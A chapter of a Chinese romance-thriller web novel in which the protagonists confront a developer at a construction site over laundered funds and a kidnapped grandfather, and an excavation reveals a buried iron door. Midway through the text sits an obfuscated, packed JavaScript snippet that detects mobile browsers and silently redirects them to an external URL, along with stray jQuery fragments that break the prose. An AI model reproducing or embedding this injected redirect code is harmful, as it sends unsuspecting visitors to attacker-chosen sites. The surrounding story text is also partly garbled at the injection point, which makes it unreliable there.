“为什么?”
“他想要的是名单和控制权,不是当众弄死霍老爷子。”张千柠顿了顿,“老爷子对他还有价值。”
霍宴行抬头。
“顾嘉晟和霍老爷子是旧友,顾延川也许觉得,老爷子还知道更多。”张千柠继续道:“只要你爷爷还活着,他就会拿来谈条件。”
霍宴行看着她,沉声道:“那我们就让他谈不成。”
他拨出电话。
“马飞,让警方暂时别直接进施工现场。把北岸资产的资金链资料发给金融办和港城警方,同时通知媒体,顾延川名下公司涉嫌关联旧城项目跨境洗钱,所有开发手续申请复核。”
马飞问,“霍哥,直接公开?”
“公开。”
张千柠看向他。
霍宴行挂断电话,低声道:“他靠舆论逼我们,我们也让他看看,谁更怕见光。”
张千柠点头,拿出自己的手机,拨给林薇,“把北岸资产和博纳旧账户的交叉记录整理成一页图,不要放全部细节,只放已经能确认的三条资金路径。再把顾延川和港城拍卖会的邀请函关联信息一起放进去。”
林薇愣住,“张总,现在发?”
“发给周浅浅,不用启明官方账号。让媒体自己判断值不值得发。”
“明白。”
电话刚挂,霍雅兰发来一段监控视频。
视频里,霍老爷子穿着病号服外套,拄着拐杖从医院侧门出去。门口停着一辆旧款黑色轿车,司机下车替他拉开门。
司机的脸被拍得很清楚。
张千柠看了一眼,立刻把画面放大。
“这个人是谁?”
霍宴行的神情变了,“陈叔。”
“霍家司机?”
“跟了爷爷三十年。”霍宴行拿起手机,“可他两年前就退休了。”
张千柠心口往下一沉,“他为什么会来接人?”
霍宴行立刻给霍雅兰回拨。
霍雅兰很快接通,霍宴行直接问,“陈叔现在在哪?”
“我刚问过老宅管家,陈叔上个月回乡养老了。”
“他没有。”霍宴行把监控截图发过去,“他去医院接走爷爷。”
电话那头传来霍雅兰吸气的声音。
张千柠盯着屏幕里的陈叔。这个人在霍家待了三十年,霍景明若真想在霍家埋线,陈叔会是最好的人选。
霍宴行声音发沉,“查陈叔近两年的账户和行踪,还有,他家里人全部保护起来。”
霍雅兰立刻应下。
张千柠看着陈叔开的那辆黑车,忽然想起一个细节。
“车牌。”
霍宴行转头,“怎么了?”
“这辆车的尾号,和我们在医院追的那辆假救护车前面那辆引导车一样。”
霍宴行拿过平板对比。
确实一样。
顾延川的人早就盯上医院。
霍老爷子不是自己走的。
是被熟人骗出去的。
张千柠把座椅扶手抓紧,“顾延川要老爷子做什么?”
霍宴行没有回答。
他看着窗外,脸色越来越沉。
张千柠伸手过去,碰了碰他手背,“霍宴行。”
“嗯。”
“他不会有事。”
霍宴行低头看她。
张千柠本来想再说点什么,霍宴行却忽然把她手拉过去,按在自己掌心里。
“你别松手。”他开口。
“我什么时候松了?”
“刚才。”
“那是因为你手太凉。”
霍宴行轻轻笑了一下,“好,张总嫌我手凉。”
张千柠没抽回来。
飞机落地江城时,已经是凌晨四点四十。
车队直接从机场驶向滨江旧址。
车还没开到,张千柠就从远处看见现场灯光。媒体车辆堵在外围,围挡上挂着巨大的北岸资产项目宣传图。上面写着“滨江新城,共建未来”。
她看着那八个字,只觉得讽刺。
旧城项目拿走了太多人的未来。
现在又有人想踩着旧城的废墟,继续建新的生意。
霍宴行先下车,绕过来替她开门。
张千柠刚站稳,周浅浅就从媒体人群里钻出来,身上套着件宽大的羽绒服,头发被风吹乱了。
“你们可算回来了。”周浅浅拉住张千柠,“顾延川刚才还在前面装无辜,说你们阻碍民生工程,我把你给的东西放出去以后,他脸都快挂不住了。”
张千柠问,“人呢?”
“在里面。”周浅浅指向围挡,“施工没停,挖掘机换了位置,正在往旧旋转木马那块挖。”
霍宴行脸色一沉,抬脚往里走。
两名保安立刻拦住,“霍总,这里是施工重地,没有预约不能进。”
霍宴行停下,抬头看了眼围挡上的北岸资产标志,“谁让你们拦的?”
保安还没说话,顾延川从里面走出来。
他依旧穿着那身深色西装,金丝眼镜压得很稳,见到霍宴行后先笑了一下。
“霍总,张总,刚从港城回来?”
张千柠看着他,“顾总消息挺灵。”
“做生意的,消息慢了会吃亏。”顾延川走到围挡边,“倒是你们,深夜带着这么多人堵施工现场,传出去不太好听。”
霍宴行没有跟他绕,“霍老爷子在哪?”
顾延川的神情没有变化,“霍老爷子?他不是在医院?”
“陈叔把他接走了。”
“那你该去找陈叔。”顾延川摊了下手,“怎么找到我这里了?”
张千柠往前一步,“顾总,北岸资产提前开工,恰好挖在旧游乐园旋转木马原址,你们港城拍卖会的邀请函又刚好落到我们手里。巧合太多,就不叫巧合了。”
顾延川看向她,语气依旧温和,“张总,项目用地规划早就公示过,你若对旧游乐园有感情,可以等新商业体建好,我让人给你留块纪念牌。”
周浅浅在后面没忍住骂了句,“真能装。”
顾延川像没听见,继续看着张千柠,“不过我很理解,张总父亲以前也在这里工作过,你想留个念想,很正常。”
张千柠的脸色瞬间沉下来。
霍宴行上前半步,挡在她面前,“顾延川,别拿她父亲说事。”
顾延川推了推眼镜,“霍总误会了,我只是陈述事实。”
“你再陈述一句试试。”霍宴行的声音压得很低。
顾延川脸上的笑意淡了些。
周围媒体已经察觉到不对,镜头全对了过来。
张千柠拉住霍宴行的手腕,没让他继续往前。
“顾总。”她开口,“既然你说合法,那就请你当着媒体的面解释一下,北岸资产为什么用博纳基金旧账户向施工总包支付预付款?为什么你们的香港律师事务所,和顾嘉晟名下家族办公室共用一名受托人?”
顾延川脸上的表情终于僵了一瞬。
张千柠没给他回击时间,继续道:“还有,顾总名下的北岸资产,为什么在港城瑞景会所拍卖会前夜,向霍景明控制的离岸公司支付了三千万美元保证金?这笔钱,是准备买什么?”
媒体人群里立刻炸开。
“顾总,请回应一下!”
“北岸资产和博纳基金是否存在关联?”
“顾嘉晟真的还活着吗?”
顾延川看着张千柠,脸上的温和彻底收了。
“张总,空口无凭,诽谤是要负责的。”
张千柠拿出手机,直接把资金路径图投到现场大屏幕上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874000|212108||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“凭据在这里。”她开口,“北岸资产若觉得我诽谤,现在就可以起诉。”
周浅浅在后面带头鼓掌,“张总,漂亮。”
顾延川脸色难看,转头对施工负责人道:“继续施工。”
施工负责人愣住,“顾总,外面这么多媒体……”
“我说继续。”
挖掘机重新启动。
霍宴行看向顾延川,“你今天非要挖?”
“这是我的地。”顾延川开口,“霍总,你们霍家当年把旧城挖成那样,现在轮到别人开发,就受不了了?”
霍宴行脸色骤沉。
张千柠却忽然笑了下,“顾总,你说得对。”
顾延川一顿。
“旧城当年的事,霍家确实做错过。”张千柠看着他,“所以霍氏退出基金监管,霍老爷子辞任,霍明远公开配合调查,霍景川和霍景明的事也都摆上了台面,那你呢?”
她往前走了一步。
“顾家做过什么,顾总敢不敢也摆出来?”
顾延川没有回答。
张千柠抬手指向正在施工的区域,“你敢不敢让现场所有机器停下,等第三方考古和司法鉴定进场?如果下面什么都没有,启明和霍氏公开道歉,赔偿你所有损失。”
顾延川看着她,缓缓道:“若下面有东西呢?”
“你把人交出来,把账交出来,接受调查。”
周围一片嘈杂。
顾延川的脸色一点点沉下去。
他没有答应,反而转身朝施工区走。
张千柠看着他背影,心里忽然浮起一股不好的预感。
顾延川不是在挖证据。
他是在等他们把某个条件说出来。
下一秒,施工区中央的挖掘机突然停住。
司机从驾驶室探出头,喊了一声,“顾总,下面挖到东西了!”
所有人都朝那边看过去。
泥土里露出半截锈蚀的金属支架,弯曲的铁管缠着褪色彩漆,正是旧旋转木马的底座。
顾延川抬手,示意工人继续。
张千柠心口一紧,挣开霍宴行往前走。
霍宴行一把拉住她,“别过去。”
“底下有东西。”
“让警方和专业人员上。”
“顾延川会先毁掉。”
“张千柠。”
“霍宴行,松手。”
两人僵持时,施工区忽然传来一声尖叫。
挖掘机铲斗下方的地面塌了。
司机来不及反应,整台机器猛地向前倾,顾延川正站在不远处,往后退了两步,施工负责人却被崩出的钢筋划伤,摔进塌陷边缘。
尘土扬起来,现场乱成一团。
张千柠看见塌陷坑底露出一扇铁门。
铁门上有一串红色喷漆编号。
17。
顾延川先一步冲过去。
霍宴行脸色一变,“拦住他!”
马飞带人冲入施工区。
顾延川身边的保镖立刻围上来,双方在坑边对峙。媒体全挤到围挡处,镜头晃个不停。
张千柠站在霍宴行身边,盯着那扇铁门。
父亲和霍母藏的名单,就在下面。
顾延川忽然回头,看向她。
他摘下眼镜,擦了擦镜片,语气平静得让人不舒服,“张总,你真以为你父亲把东西留给你,是为了让你找出来?”
张千柠皱眉,“你什么意思?”
顾延川笑了下,“他是怕你被牵进来,才把东西藏得那么深,他要是知道你今天站在这里,恐怕会后悔。”
霍宴行冷声道:“顾延川,滚开。”
顾延川没理他,只抬手示意身边的人。
一个保镖拿出手机,屏幕上是一段实时视频。